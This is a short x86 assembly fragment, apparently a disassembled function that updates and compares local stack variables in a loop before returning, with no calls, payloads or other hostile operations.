mov edx, dword [ebp - 0x40]
sub edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x14]
jge 0x42ff0f
mov edx, dword [ebp - 0x48]
xor edx, dword [ebp - 0x20]
jne 0x42ff5a
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xec]
cmp ecx, dword [ebp - 0xf0]
jge 0x42ff95
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x40]
jge 0x42ff95
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x54]
je 0x42ff95
mov edx, dword [ebp - 0x10]
imul edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x2c]
jl 0x42ff8c
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x14]
jl 0x42ff8c
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x4c]
jl 0x42ff8c
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x54]
jl 0x42ff8c
mov eax, dword [ebp - 0x2c]
xor eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x30]
jge 0x42ff95
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x42feba
mov esp, ebp
pop ebp
ret